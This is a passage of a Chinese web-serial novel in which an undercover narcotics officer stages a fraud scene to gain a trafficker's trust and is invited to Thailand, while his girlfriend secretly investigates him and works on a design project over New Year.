王局挂电话时苦笑:“真是在毒窝里混熟了,难为你了。办完这趟早点回来吧。” 沈宗野笑了笑。 通话结束后,他脸上的笑容消失,沉默地走到镜子前。 沈宗野望着里头的人,这张脸没什么变化,可眼睛幽深得望不到头。 还记得警校开学报道的第一天,见到他的教官眼眸一亮,第一句话就说:“你的外表和体能都很适合干缉毒。” 他入职后,局里老前辈也对他说:“你这外表也太不像警察了。干缉毒的不像个警察才是精英。” 沈宗野的确太不像一个警察了。 而一次次的卧底也更让他看起来像一个只是长得英俊些的坏蛋。 长期扎根在隐蔽战线上,干卧底的每个他们都会让自己去像一个毒贩,去分析一个毒贩的心理,去模仿他们的狠毒。 现在他干这些好像越来越游刃有余了。 可是沈宗野并不喜欢这样,他不喜欢这个自己。 但是只要能抓到毒贩,这些又算什么呢。 …… 梁然搬到新家跟住在沈宗野的公寓没什么两样。 她早饭仍在沈宗野这里跟他一起吃。 晚上陪他去公司,等他下班一同回家,在他公寓里和他黏一会儿才回到她的家。 这套房子她对沈宗野说是租的,实际是梁然买下来的,不然哪个房东允许她这样大肆改动。 为了接近沈宗野,为了找到证据,梁然不在乎花钱。 他们之间经历这些事应该更亲密了才是,但这种亲昵中梁然还是觉得沈宗野有一股若即若离。 夜幕将临,整座城市笼罩在灯光下。 沈宗野像往常一样带着他的人来了「云上人间」。 梁然跟着他一起过来,挽着沈宗野手臂说:“你好像很久没来过你朋友这里了。” 沈宗野只是淡笑,恣意地插着兜:“想吃什么菜自己点。” 他们坐在沈宗野之前常坐的包房,梁然翻看着菜单,沈宗野起身说出去抽支烟,谢天明和云肖跟在他身后。 这还是老万被抓后沈宗野第一次来这里。 如今案子跟他没关系,董自新也没理由再忌讳他。 沈宗野去了前台说给董叔充点钱。 前台小姑娘笑:“很久没有看到沈先生了,你女朋友真的好好看。” 梁然之前向前台打听过沈宗野的消息,她对梁然印象深刻,很看好沈宗野和梁然:“你们好般配,真的,祝沈先生和梁小姐感情甜蜜哦!” 沈宗野勾起薄唇。 后面有人来结账,沈宗野让开了位置,懒洋洋地靠在吧台。 但前台有些处理不明白,来结账的情侣说的是泰语。 前台只会一些简单的英文,只能听懂howmuch,听不懂那人后面的话。 那对情侣又说回泰国话,前台还是没听懂,他们就换成英文,前台说着sorry,手忙脚乱在网上下载翻译软件。 沈宗野在一旁说:“你们没培训外语吗。” 前台求救似地望向沈宗野。 沈宗野用英文回答那对情侣的话。 那对情侣便对沈宗野说着英语,期间穿插了泰语,沈宗野都能听懂,也用泰语在回答他们,他们朝前台又亮出付款码。 沈宗野说:“他们要加一个宵夜套餐,在四楼的休息室过夜,给他们留一个有游戏机的房间。” 前台实在太感激沈宗野救场了,但徐川从一旁过来,前台小姑娘喊了一声“徐经理”,便恭恭敬敬服务那两个泰国人。 沈宗野回头看到徐川:“徐经理,好久不见啊。” 徐川穿过大堂,朝沈宗野笑:“你还会说泰国话啊。” “维持生计嘛。”沈宗野似笑非笑,站稳懒洋洋的身体,“我来吃个饭就走。” “客气,您是客,您随意。” “谢了。”沈宗野回到包房。 梁然已经点好菜,大鱼他们早就饿了,吃着凉菜在等沈宗野。 梁然说:“你好像很开心。” 沈宗野弯起薄唇:“你越来越懂我了。” 大鱼起哄,笑着撑起气氛。但他发现在场就他和老九两个人在傻乐,莫名有些尴尬和奇怪。 好在谢天明和云肖很快就跟着起哄,把大哥大嫂的气氛撑了起来。 梁然在这一片灯光和哄笑里坐在沈宗野身边,眼角眉梢都是温柔。 之后的几天,沈宗野又去了「云上人间」,像往常一样当个自家人在里面帮一些忙,或者待上一整天撑撑偶尔生意冷清的场子。 董自新虽然没出现,但是不再赶沈宗野走,这便是好信号。 但是这天吃饭的时候,沈宗野被人扑过来抱住双腿,还朝他跪下磕头。 “沈总,你把钱给我吧,求你了!八十万我不要了,我只要五十万就行!”来人说得声泪俱下。 那是个三十几岁的男人,看起来老实巴交,夹着一个公文包,扑过来时包都掉在了地上,他连忙从包里掏出合同递给沈宗野。 “你们的合同就是在骗我啊,沈总,我求你把钱还我呜呜……五十万我不要了!我跟你五五分,你退我四十万就行!” 沈宗野脸色已经沉下来,又恼羞又得顾着这是董自新的正经地盘,他冷漠地甩开男人的手,浮起笑:“你认错人了吧,走,这位老哥,我们出去聊。” 徐川在大厅入口远远看着,沈宗野转身时发现他,很惭愧赔了下笑,连忙回头冷冷搂住来人,几乎是将来人死拽着拖出了大厅。 这是沈宗野的安排。 是他上次跟王局申请的诈骗的戏,来人也是局里的老前辈了,配合起来完全没问题。 沈宗野跟人在外面说不通,云肖和李浩抡起拳头将人拉到没监控的地方揍。 戏是假的。 可血是真的。 沈宗野站在风里,入冬的冷风这么冷,他的同事在云肖的拳头松开后体力不支,整个身体顺着墙滑下,嘴巴里、鼻子里都是血。 沈宗野掏出打火机,拢着手掌挡风,点燃一支烟。他懒散地呵出烟雾,眼神冷漠。 没有人会在意烟雾背后是黑是白,就像没有人会在意这场北风吹痛在哪儿。 “行了。”沈宗野懒洋洋说,“老哥,白纸黑字说得好好的,我们不欠你,你可不要污蔑好人啊。” 这是离「云上人间」两条巷子的地方,在这儿打人不会影响到「云上人间」,沈宗野完全没有留下作秀的嫌疑。 因为他知道徐川会汇报给董自新,董自新会派人暗中过来看他。 这二十几分钟的时间,沈宗野接到了徐川的电话。 徐川问:“那是谁啊。” “谁知道呢,认错人了吧。” 徐川说:“董叔叫你来一趟。” 沈宗野眼眸深邃,看了一眼坐在地上的战友。 他的同事擦着鼻血,眼睛已经被揍肿一片,喘着气看他。 两道眼神不需要语言,是一次次血与刀枪的凝练。 沈宗野回了「云上人间」。 董自新还在一楼的院子里照顾他的花草植物。 宁城的初冬很冷,但这座搭着自动玻璃门窗的院子四季如春,是一间充满阳光与暖气的超大花房。 董自新穿着短袖坐在矮凳上埋肥。 沈宗野喊一声“董叔”。 董自新头也没回:“大厅里怎么回事?” “没什么,是最近钱不够了,签了个单子。” “什么单子?” 沈宗野没打算瞒着董自新,把他搞诈骗这一套说完。 董自新回头拍着手上的泥巴看他。 沈宗野再次解释:“这些我都是花钱请了律师搞的合同,我没问题,他告我也告不赢。叔,刚才我没想打扰你生意,这几天我先不来了。” 董自新只是说:“缺钱了。” 沈宗野一阵自嘲的苦笑,倒是很悠哉:“现在不缺了,这行来钱也快,风险还比以前小。” 董自新笑了。 他不再说话,继续打理他那些植物。 沈宗野便也没继续聊这个。 这之后沈宗野果然有好多天不再去「云上人间」。 这天晚上他在路边蹲着烧纸钱,给老单的。 因为过来的同事告诉他看到了董自新的那名手下。 董自新果然又派出之前在公寓对面监视沈宗野的那名手下,去查沈宗野这场诈骗的受害者。好在这场安排没有漏洞,经得起查。 沈宗野烧过纸钱将白酒也倒进去,对着火堆说:“单哥,我走了,以后缺钱再给我托梦。” 上了车,谢天明看着后视镜:“有跟踪吗?” “还没看到。” 董自新的人不是那么好被发现。 来给老单烧纸也是虚情假意地向董自新表明沈宗野是个重情义的人,即便有了新主也仍顾念旧恩。 谢天明说:“不知道这次会不会有好消息,再过几天就是新的一年了。” 新的一年。 沈宗野也会有急迫,他们这群干缉毒的平均寿命都只有四十几岁,他只希望他这一年的时间不白费。 回到公寓,梁然在拆快递箱子,大鱼在一旁帮忙。 沈宗野和谢天明一打开房门,外头的狂风便吹进了门里,呼啸声灌进客厅。 梁然穿着长到脚裸的睡裙,棉质的白裙慵懒又干净,风将她长发吹起,她忙说“好冷”。 沈宗野关好门。 “在拆什么?” “还有几天就要到元旦了,这是我们的第一个跨年,我想把家里布置一下!” 梁然笑容明媚,放下拆快递的美工刀来抱沈宗野。 沈宗野刚脱下大衣还没来得及放,谢天明帮他拿走挂好,去和大鱼拆起快递。 沈宗野垂眸睨着梁然。 梁然笑得很温柔,桃花眼里映着水晶灯的琳琅碎光,她圈着他的腰,握了握他手掌。 “外面这么冷啊。” “还好。” 梁然笑:“跨年你想怎么过?” 沈宗野的手机忽然响了,他看到号码眸光一沉。 是董自新。 他回房间接了这个电话。 这个通话并不长,但却像横空的惊雷。 董自新让沈宗野抽出时间跟他去泰国。 沈宗野终于露出了久违的笑。 他成功了。 他们的隐伏终于不再是孤独寂寞的单向行动。 第52章 第52章粗暴又野蛮 两天后,沈宗野从董自新那里回来,关上房间里向上级汇报这个消息。 董自新没对沈宗野透露再多,只说他在泰国有间亏钱的林场,问沈宗野想不想过去替他打理,看还能不能盘活。 虽然听起来都跟毒。品没关系,但这完全是董自新变相的考验,至少已经打算接纳沈宗野了。 王局听完也很欣慰,开始商量起境外的联络方式。 沈宗野讲完电话后,谢天明推门进来,脸上也非常高兴。 “可算能让我大干一场了!” 沈宗野也带着笑,但是他冷静地说:“我带云肖和老九过去,你留下。” 谢天明一愣:“让我去啊,我跟你一起。” 虽然这是董自新抛出的橄榄枝,但沈宗野还没正式取得董自新的信任,不想把多余的风险带给谢天明。 “公司还得经营下去,你留在宁城继续暗查轻松一号。还有,注意点梁然和姜义,如果姜义真找上门,他不会让我好过。” 这的确是如今他们的局势,可谢天明还是想再坚持一下,留云肖在宁城也一样可以,但沈宗野还是十分坚决。 谢天明没再违抗命令,这趟听着是去林场,境外的局势有多危险他们谁都清楚。 谢天明问:“明天就走吗?” “嗯,中午的飞机。” 谢天明忽然被窗外吸引:“下雪了,卧槽好漂亮!” 他飞快冲到窗前,打开窗户去接冷飕飕的雪。 “哈哈哈,下雪真好看啊!” 谢天明从小生活在南城,很少遇到下雪,见到雪他实在兴奋。刚才那种即将分别的担心被这场雪天冲散。 沈宗野好笑地抿起唇。 房门外传来了敲门声,是梁然。 “沈宗野,外面下雪了!”她的声音响在空空的过道,很是愉快。 谢天明回头看沈宗野:“梁然你打算怎么处理?” 沈宗野敛了笑,很冷淡:“这趟回来如果顺利,乌鱼的眼睛就不需要再留了。” 谢天明点点头,出去给梁然开门。 梁然穿着睡裙,敷面膜时戴的发箍都来不及摘,走进房间。 她的眼睛装满了笑,看着沈宗野:“居然下雪了,我想出去看看。” 沈宗野点点头。 他扫了眼梁然身上的睡裙,取下一件羽绒服罩在梁然身上。 他的羽绒服太宽大,将梁然包裹得只露出一截裙摆,她脑袋缩在高高的衣领里头,倒是不会被冻着。 三个人下楼在小区里看雪。 漫天飞舞是具象词,白色的雪不断疾坠。 梁然伸手接着雪片,它们一片片落在她衣袖上,黑色的羽绒服让雪花的纹路看得好清晰。 梁然问:“宁城经常会下雪吗?” “我又不是宁城人。” “我现在心情很好,你别扫兴。”梁然笑着说。 沈宗野勾了勾唇,扫了眼梁然裙摆下毛绒绒的拖鞋,风起时她脚腕都露在外头。 “下来也不穿厚点,你上去穿条裤子再下来。” “不要,我再玩一会儿。” 梁然刚说完就扔了一捧雪在沈宗野身上。 沈宗野偏头躲,还是有些雪顺着他脖子掉进衣服里。 梁然哈哈笑。 谢天明也抓起一把雪扔沈宗野。 沈宗野没防备他们,被谢天明的雪砸中脖子,他大衣里头是睡袍,只穿了条长裤,没穿上衣,那些雪片贴在胸膛上化成冷嗖嗖的水珠。 谢天明哈哈大笑,但是又被梁然扔来的雪砸中。 “卧槽!”他也忙抓了把雪扔梁然。 梁然连忙躲,后退时倒在雪地里面。 她索性直接往后仰,张开手臂睡在雪里。 漫天的雪片在眼睛里坠落,是她永不平息的痛。 梁然好想沈茹。 她没有见过她妈妈最后一面。 她恨这世间的死亡。 她忽然捂住额头,又开始偏头痛了。 沈宗野走到她身前朝她伸出手。 梁然抓住他,被他从雪地里带了起来。 “脑袋砸到了?” “不是,有点头疼。” “偏头痛又犯了?”沈宗野挑挑眉,拉着梁然的手往大门走,“上楼吧,有个事告诉你。” 雪簌簌落,掉在他们肩头。 沈宗野将梁然送回她的公寓。 屋子里暖气很热,梁然进门便脱下了羽绒服。 “什么事啊?” “我明天要走了,给董叔办点事。” 梁然一怔:“那你是得到你这个朋友的重用了?”她笑,“是好事啊,什么时候回来?” “办完事回来。” “就是没有具体的时间?” “嗯。” “后天就是元旦了,我都准备好了和你一起跨年,那天是不是也回不来?” “后天我回不来,去多久我也不清楚。” 梁然听完,黯然地“哦”一声。 可这对梁然来说却是好事,只要沈宗野继续干毒。品,她就有机会找到他犯罪的证据。 梁然有些依依不舍地圈住沈宗野的腰:“我能跟你去吗?” 沈宗野嗤笑,挑眉说:“老子去干正经事,带个女人像什么样。” “可是我想你了怎么办?” “打电话。” 梁然埋在沈宗野胸膛:“好吧。” 沈宗野身上还披着大衣,他肩头的雪融化成清澈的水珠,梁然拂掉水珠,去解他的大衣。 她仰起脸,桃花眼里倒映着窗边汹涌的大雪,和风雪之下的深情。 梁然踮起脚尖吻了沈宗野。 他的嘴唇带着风雪的凉。 沈宗野俯身亲咬她,粗暴又野蛮,她后背抵到了落地窗上,黑色大衣掉落在他们脚边。 梁然有些喘不过气,娇喃溢出唇齿,这是沈宗野第一次这样吻她。她虽然厌恶,但是不想停下,她的手缠到他腰上,直到沈宗野按住她手腕。 他呼吸粗重,滚烫的气息扑打在梁然唇边,眼眸一片深邃,凸起的喉结滚动。 梁然:“还是会有心理阴影吗?” 沈宗野用晦暗的眼神回应她。 太好了。 梁然藏下解脱的欢喜,失落地说:“没关系,我会等你的。” …… 沈宗野走了。 梁然本来说要送他,第二天一早谢天明说他很早就被董自新的人接走了。 梁然倒是能给他打电话,沈宗野在电话里说已经到了机场。 梁然笑着说:“一路平安,我会想你的。” 挂了电话,她的笑容消失,卷翘的眼睫压下一片清冷。 梁然给向邬道那家红酒店的经理去了电话,告诉了他这个消息。 …… 沈宗野不在身边,梁然有了时间接见陈沥周,设计图大致已经可以完稿,但因为考虑地点的原因还没有完全定版。 梁然今天和陈沥周去看几处地段,陈沥周想挑个环境清幽的地方,他们今天跑的都是城郊。 窗外的道路上堆满前天下过的那场大雪,两旁树木也都披着雪的白衣。 陈沥周开着车,梁然坐在副驾驶,后座有陈沥周买的水和零食。 两人早上已经看过两块地皮,在地势上达不到梁然设计图和陈沥周的要求。 陈沥周有些惭愧:“这条路拐个弯就是市区,要不我把你送回酒店,我自己去看,我和你用视频联系?” 梁然淡笑:“没关系,我来都来了,以前也经常这么和甲方的工程师跑。” “你冷吗?”陈沥周的视线很礼貌,他指的是梁然单薄的穿着。 梁然穿着黑色大衣,笔挺的羊绒阔腿裤,干练又优雅,只是这样的衣着在下着雪的宁城实在不算保暖。 梁然平时也都这样穿,从公寓地下车库到顾儒海工地的车库,一路车上都有暖气,吹不着冷风。只是今天这样跑郊区的确有些凉,但她还能忍受。 她说:“我没关系。” 原本下午还有两处地段要看,他们开到后,陈沥周只看了一处便说明天再继续吧。 梁然:“不用考虑我,下个地址吧,早些敲定好,我的图纸也能早点定版。” 陈沥周索性不再纠结,带她开车赶往下一个地址。 两人在车里聊着,陈沥周问:“看梁小姐的外表的确看不出来能吃建筑的苦。” 梁然说:“你还是叫我梁然吧,用不着这么客气。” 陈沥周笑了下:“那你也叫我名字吧,等下结束你想吃什么?我请你。”他忽然才意识到今天是元旦,“哦不好意思,今天是新年,你男朋友是不是会来接你?” “他去出差了。” “那我今晚岂不是有机会请你吃饭了?占用你过节的时间,实在过意不去。” 梁然笑了下:“你想吃什么?” 梁然在工作上从没有性别之间的扭捏,她说:“你给的设计费太丰厚,这顿饭我代表我们团队请你。” 陈沥周没跟梁然客气:“那我要好好想想。” 路程有些远,车厢也算是一个封闭的空间,这样远的行程很容易让两个不熟悉的人在封闭空间里觉得尴尬,可梁然和陈沥周似乎都没有这种不自然的气氛。 梁然不反感陈沥周这种懂建筑,并且尊重设计师的人。 陈沥周也有求于她,对她很敬重。 梁然问:“平时是你自己开车?” “家里也有司机,只不过我自己开更方便。” 梁然:“你是最近才回国吗,有工作上的考虑吗?” “我夏天刚回国,准备跟朋友做点项目。”陈沥周握着方向盘,专注开车的同时回答着梁然的话,“你炒股吗?感兴趣我可以给你一只股票。” “你还涉猎股市?” 陈沥周浅笑,无框眼镜后的双眼有资深的睿智,他淡笑说懂一点。 梁然对他说的股票不感兴趣,相反,她对他所学的化学极有兴趣。 “我看新闻说一些化学元素掺在一起可能就是毒。药,比如生活里用到的84消毒液,次氯酸钠加盐酸,在狭小的房间里就极易造成氯。气中毒。” 陈沥周浅抿薄唇,笑着看了眼梁然:“喜欢化学的女孩子不多,氯。气也容易遇强光爆炸,你还看过什么化学案列?” “还有毒。品,我看电影里制。毒大师都是化学天才。” 陈沥周失笑,点点头:“你看得蛮杂。” “用化学制作毒。品容易吗?” 陈沥周愣了下,有些意外:“你为什么会问这种问题?” “想知道电影有没有骗人。”梁然很自然。 陈沥周也很认真地回答她:“常理上如果对化学品十分了解,并且有丰富的化学实验与成功处理化学事故的经验,是可以做出你说的毒。品,只不过我国外的导师都没成功过。” “你们还试过?” “导师只是当做案列来讲,具体我不知道,这些化学品常规下也无法集齐。” 梁然点头:“所以电影还是半真半假的。” 陈沥周偏头看她,好笑地问:“平时还看什么电影?” 他们就这样聊着,路途远也不觉得时间枯燥,很快到了地方。 第53章 第53章“沈宗野,新年快乐。”…… 这是靠近城郊的一片山地,附近两公里处就有座联排别墅小区,地势一面靠山傍水,有地处上游的河流,另一面是常规的高楼小区和生活超市。 宁城的山并不多见,这里算是远离尘嚣的清净宝地。 陈沥周带梁然去他看中的那块地考察,早些年他就想给他妈妈修建一座中式园林,买过好几块地皮,这是其中一处。 已经是傍晚,太阳从河的那头落下,水面倒映着玫瑰色的晚霞。 梁然在看日照和四周环境,她认为场地条件很符合陈沥周的想法,询问陈沥周的意见。 陈沥周本身也很满意当初才会买下,听梁然专业的评估后就敲定了这块场地。 时间也有些晚了,两人准备离开。 地面都是厚厚的积雪,陈沥周有意想踩出一条路方便梁然行走,谁知雪下有坑,踩空的他直接崴倒。 “小心!”梁然去拉他的手,但被他的重量拽了过去。 陈沥周连忙扶住一棵树,整个人崴到树上,他手掌落在梁然脑后,生怕她也磕到树上,好在惯性只是让梁然撞到他胸膛。 梁然的额头狠狠磕到陈沥周下巴,突如其来的疼痛让她抽了口气。 陈沥周看着她,在这猝不及防的急促里喘着气。 梁然离他太近,疼痛让她一时没有抬起头,微垂的睫毛轻轻颤动。陈沥周绅士地往后退,但后背就是树干。 “抱歉,你没摔伤吧?” 梁然松开拽他的手,摇摇头退离。 她额头上红了一片,在白皙的脸上格外明显。 陈沥周十分自责。 梁然开着玩笑缓解气氛:“这块地你妈妈应该会喜欢,让你今天就给她磕头定下来。” 陈沥周忍俊不禁,一时失笑,他目光深邃:“谢谢你,梁然。” 他们回市区一起吃了顿饭,梁然打开视频联络乔思嘉,向乔思嘉介绍陈沥周,后续的工作就打算让乔思嘉负责。 三个人简单聊了一会儿,梁然这顿饭也吃得差不多了。 陈沥周说送她回酒店。 梁然说:“我还有私事处理,你把我送附近的商场就行。” 陈沥周将梁然放到她说的商场。 梁然和他下车道了别。 车上安静下来,陈沥周目视梁然的身影消失在商场旋转门,才驱车汇入车流。 车厢后排是陈沥周买的各种进口零食和水果,今天路途辛苦,梁然只喝了一瓶水,零食和水果都没碰过。窗外枝头挂雪,冷冽的冰雪气息充盈在车厢里,但这不是雪的气息,是梁然身上残留香水味。陈沥周目光柔和,今天的心情都很愉悦。 他的车子经过一条街道时,忽然被路边两个身影吸引住视线,将车靠边停下。 那是一排商铺,中间有家面馆,有两个三十多岁的男人吞吞吐吐走进去,老板问他们吃点什么,两个男人扭捏了一会儿,等那桌用纸巾擦嘴的客人起身离开后,才敢小声地说话。 “老板,这个面能让我们吃吗?” 他们指了指那桌客人剩下的半碗面,手指似乎有些疾病中的抖。 老板愣了下。 现在是冬天,两个男人穿着单薄的夹克,褐色夹克还有掉皮和脱线,他们脸色也黄,身材很瘦,看起来很像是在工地上卖力气的人,但是这么瘦弱的身躯又像身体不是很健康。 城市里很少会再见到这样的人了,面馆老板知道各人有各人的难处,桌上是刚才四个人吃的面,有两份都剩了半碗没吃完,老板点了下头。 两个人开始坐下大口吃面,把汤全部喝完,用袖子将桌面擦干净。 陈沥周在这时走进了店里,他看了看他们,扫码付了钱:“给他们两份大份的面,加肉。” 两个男人回头看到陈沥周,陈沥周已经推门离开了。 他们就喊了声谢谢小陈老师。 老板将面煮上来,笑着对两人说:“那人是你们朋友啊,还挺好的。” “不是朋友,他是个好人。” 老板说:“两碗面吃得饱吗?” “吃得饱!” “那我把那位小陈老师的钱退给你们,他应该是多按了个0,付成了一千。两碗面也要不到一百块钱,我收了40,退你们960。” 两个中年男人忽然红起眼眶哽咽了。 店外堆满厚厚的雪,但一排排店铺都有各人扫各人门前的雪。 2018年的第一天又迎来一场像柳絮飘飞的小雪。 梁然从商场出来,拨通沈宗野的电话。 沈宗野接起了她拨的视频。 手机屏幕里是张英隽又恣意的脸,沈宗野依旧是似笑非笑的神情,懒洋洋叼着烟。 梁然说:“刚刚在商场里不接我电话。” “刚才忙。”沈宗野问,“逛商场了?” “嗯,给你买了新年礼物,等你回来拆!” 沈宗野没说什么,只是笑容更显得意。 梁然说:“你都不好奇是什么礼物?” “回来不就知道了,我没工夫猜。”沈宗野说,“你还在外头?” “嗯!我就是想告诉你下雪了,我很想你。”梁然脖子上围着刚才新买的围巾,半张脸埋在暖和的羊绒围巾里头,桃花眼灿烂明媚,她说,“沈宗野,新年快乐。” “新年快乐。” 梁然回到公寓,敲响谢天明的房门。 谢天明和大鱼在屋里打游戏,他打开门来不及接梁然手上的袋子,头也不抬说:“嫂子你自己进来,我和大鱼玩游戏呢。” 梁然把给他们买的礼物放到玄关:“新年快乐,呶,给你们的礼物。” 大鱼丢了手机跑来看礼物,谢天明血条被砍没了,骂骂咧咧怪大鱼见利忘义。他也过来瞅礼物,发出一声“卧槽”。 梁然给他们一人买了块表,对谢天明来说价格很贵,是他平时完全舍不得买的牌子。 “谢谢嫂子,太让你破费了!”谢天明笑着让梁然进屋里坐会儿。 梁然回了她自己的公寓。 她打开私人手机,新年祝福一波接着一波,电话接个不停,挂完了朋友和客户的电话,她才有时间给梁悦拨去视频。 梁悦很想梁然,知道不能回怀城她挺难过的,都想飞来宁城陪梁然一起跨年,被梁然制止住了。 她们聊了有一个小时的视频,梁悦才舍不得地挂了电话。 梁然的手机都没电了,后盖烫得吓人,她撂到一边充电,翻着一本刑侦科犯罪类的书籍看。 铃声又在这时响了,估计又是哪个朋友的新年祝福。 梁然躺在床上看的书,侧身去拿手机。 是林甄。 距离上次怀城办案时他们联系过,最近两三个月已经很久没再有联系。 梁然接起电话。 林甄说:“有打扰你休息吗?” “没有,还没休息。”梁然说,“给我打电话是有事吗?” 林甄失笑:“元旦节了,想祝你新的一年快乐。” 梁然说:“是的,新的一年了。也祝你新年快乐。” 林甄问:“听悦悦说你在宁城的工作还没结束,上周我妈生日,她在我家吃饭,我回去了一趟,她很担心你,问我有没有跟你联系,知不知道你在忙什么。” 提到梁悦,梁然合上了书:“她没跟我说过,我这边接了几个项目,实在没办法抽身。” 林甄问起梁然的工作。 梁然说得很专业,实在是没法回去,甲方的工程需要她保密。 林甄顿了片刻:“你没有被坑吧?现在有一些玩字眼的合同,签了就抽身不了。” “当然不是。”梁然说,“悦悦她还好吗?” 林悦每次给梁然打电话,都只会说各种好。 “我妈经常会请她来家里吃饭,悦悦心理很健康,只是自己发呆的时间会比她那个年龄段的女孩子要多。” 梁然坐起身,眼神黯了下来。 她看着窗外的雪,不知道这场越下越大的雪什么时候停,也不知道她踏足的这场旋涡什么时候止。 她说:“我也想很快就回去,林甄,让阿姨帮我照看一下悦悦吧,我会尽快回来。” 林甄说好。 两人在电话里各自沉默。 林甄打破这沉默,问梁然身体怎么样,宁城气候冷不冷。 梁然并不想聊这些,她也许知道林甄对她的心思,但她从来不是愿意回头的人。 感情上,她只想放下之后就潇洒地往前走。 但和林甄之间显然也有她感兴趣的事,比如毒品案子。 梁然问:“你调岗了吗,之前听你说会调到个安全的岗位。” “还没有,局里去年没招到什么新鲜血液,缺人得很,我暂时再帮一段时间。” “禁毒局招人很难吗?” “当然,禁毒是项危险的工作,尤其是冲在一线的缉毒岗比我们还难招新。”林甄聊起工作,显然有他领地里的自如,“本来警校就没多少禁毒专业的毕业生,出来几个都被省厅抢光了,轮不到我们分局。” 梁然顺着林甄的话说:“原来是这样,最近有什么案子吗?我听说宁城上个月在医院里抓到一个病人就好像是个毒贩。” “多久的事?”林甄说,“我们局里没听到这个消息。” “哦,那可能是我听错了,当时是听别人八卦。” 林甄有些敏感,语气加深:“小真,你应该把这些放下了,不要听到毒品毒贩就去想起那些不好的事。” “我知道,只是随口问问,我爸爸的案子还有后续吗?” “不是已经结案了。” “我是想问之前那个叫沈宗野的男人,他还有什么后续吗?” 林甄有些意外,他早就把这个人忘了,他嗓音深沉:“小真,那就是一个正经的生意人,我事后帮你跟踪过他一个月,他根本就没嫌疑。你不能再耗在这些无意义的事情上,害死梁叔的人都已经执行死刑了。” 梁然的眼睛无比冷漠。 她怎么可能放得下。 没有人供出沈宗野,就足矣证明他根本不简单。 林甄跟踪过他一个月没有发现他有问题实在太正常了,她和这个男人睡在一张床上也完全摸不透他的底细。 沈宗野如果是个清白的人,她能把手上这本书都啃了。 而梁然也发现林甄太过敏锐了。 她但凡提到一点关于毒品的东西,林甄就会警惕她还没有放下梁幸均的死。 不能让林甄知道她在查沈宗野。 梁然笑了笑,说:“我知道,我只是做不到这么快忘记,我会慢慢放下的,别担心。” 可是想起梁悦,梁然的笑容消失,只想快些找到证据,结束这边的一切,早些回归她自己的生活。 第54章 第54章他回来了 沈宗野已经离开有两个星期了。 梁然每天还能和他保持通话,感情似乎一直维持在这样看似亲密的状态里。 她没什么有用的消息再给沈宗野,上次给向邬道的人打电话时,向邬道也只是说“那就祝你男朋友好运”。 她这段时间依旧埋在工作上,顾儒海那里的工程已经结束,给她顺利结了尾款。陈沥周这边在申请建房手续,他倒是办得很顺利,乔思嘉带着团队来了宁城,梁然总算敢借着工作和乔思嘉再次见到面。 处理好这些事又是一个星期过去。 对梁然来说,接触不到沈宗野的时间每一天都算是浪费。她只想在他身上找到罪证。 梁然接到陈沥周的电话。 “在忙吗?” “不是很忙。”梁然在看电脑网盘里她之前偷拍沈宗野教训云肖他们的视频,可这都算不得罪证,她合上电脑,“是有什么新的问题吗?” 陈沥周已经和乔思嘉联系好了建筑团队,订好了春节后就挑吉日动工。 陈沥周失笑:“你们压力还挺大的,对工作这么敏锐。”他正式地说,“不是工作的事,是我自己一点私事。我和朋友创办的公司后天开业,晚上有个宴会,想邀请你来参加。” “你有时间吗?” “没问题,着装有要求吗?” “商务晚宴着装。” “OK,祝贺你,到时候见。” 梁然来宁城后也只是参加过顾儒海集团的一次晚宴,礼服准备的不多。她去挑选了两套礼服和给陈沥周公司的开业礼物,以工作室名义和她各人名义送去两份。 陈沥周跟朋友合伙创办的是一家人工智能公司,说是创办,实际是收购了一家资金链短缺的老牌名企,彻底做了换血和大改革,公司主营软件开发与智能机器人开发。早先梁然便看到过这家企业被收购的新闻,只是没想到背后资本是陈沥周。 陈沥周派了车来酒店接梁然。 梁然租用了一名化妆师随行。 宴会规模不小,有几张面孔是梁然在南城见过的业内名人。顾儒海也在,她环视一圈,场上有些是她之前在顾儒海宴会上见过的宁城商界的熟脸,但幸好没看到宋晟。 陈沥周被人群围着。 今天的他不再像平时那样穿着随意的衬衫和白T恤,他西装革履,衬衫纽扣系到最上面一颗,无框眼镜换成金色细框,气质温和儒雅。 陈沥周不时都会抬起头,视线穿过那些和他谈笑的人群,似乎在留意什么。 他身边人太多,梁然暂时没去打扰他,和顾儒海在一块谈话。 “顾伯伯也来了。” “我想托小陈总给我女儿补课,能不来么。”顾儒海笑,“我看他现在忙成这样子,估计都没时间再搞化学了吧。”他颇为惋惜,补课也没机会了。 梁然:“陈总是双学科吗?” 不然一个学化学的怎么会涉猎人工智能。 顾儒海撇撇嘴:“刚才问了一嘴,才跟我说人家化学就是个爱好,还爱好软件研发,动画研发,好几个文凭。”顾儒海哭笑不得,“之前小看小陈总了。” 梁然也确实有些惊讶,她笑着说:“也不吃亏,不知道他身份,顾伯伯之前的待客之道反而更显真诚。” 顾儒海看着围在陈沥周身边那些人:“知道为什么大家都围着他转吗?”,顾儒海低声说,“小陈总是张书记女儿的辅导老师。” 梁然的确没看出来,陈沥周实在太低调。 顾儒海问梁然,“听说你接下他委托的设计了?” “嗯。” “有眼光。”顾儒海有些深意。 梁然笑了笑。 顾儒海说:“小梁,之前小陈他对你是很有好感的。” 梁然:“我知道,他对我的作品很认可。” 顾儒海没再多说,他都五十岁的人了,怎么看不出来年轻人之间那点羁绊。有些人站在一起,你能看到他们之间无形的气场,那是两道人格的牵绊,充满故事。 陈沥周主动去拜访顾儒海时,不是冲着顾儒海,是冲着顾儒海那座中式建筑。当时陈沥周在现场一眼喜欢上了那一片中式古典,而后顾儒海把梁然的设计拿出来,陈沥周又夸奖这个设计师很有水平。 侍者端来香槟和红酒,梁然拿过一杯香槟。 背景音乐以海浪退潮的姿态趋于缥缈柔和,主持人上了台。 那些围着陈沥周的人各自找了桌台散开。 陈沥周在这时看到了梁然。 人**错,水晶灯灿烂流转。 梁然抿了抿唇,朝他倾了下手上的香槟。 陈沥周朝她一笑。 他转身跟身边的合伙人一起上台说今晚的致辞。 他那边结束后,他先一步下了台,来到梁然身前。 “谢谢你能来,你今晚很漂亮。” 梁然笑:“你今晚才是闪亮的主角,怎么瞒得这么深,我都不知道你背景这么厉害。” 陈沥周失笑:“哪有什么背景,不过是跟朋友合作谋生。” “你到底学的什么专业?” “化学啊。”陈沥周笑,“但我还攻读了计算机,考过MBA,都是个人兴趣。” 陈沥周的合作伙伴这时也下了台,他叫何詹,是陈沥周国外的同学,两人气质很像,对梁然也很热情。 何詹说:“我都听沥周夸你不下十遍了,我们吃饭时他在看你的作品,我们俩一起打球他也在看你的设计图,我们开会他都还把手机拿出来回你消息。” 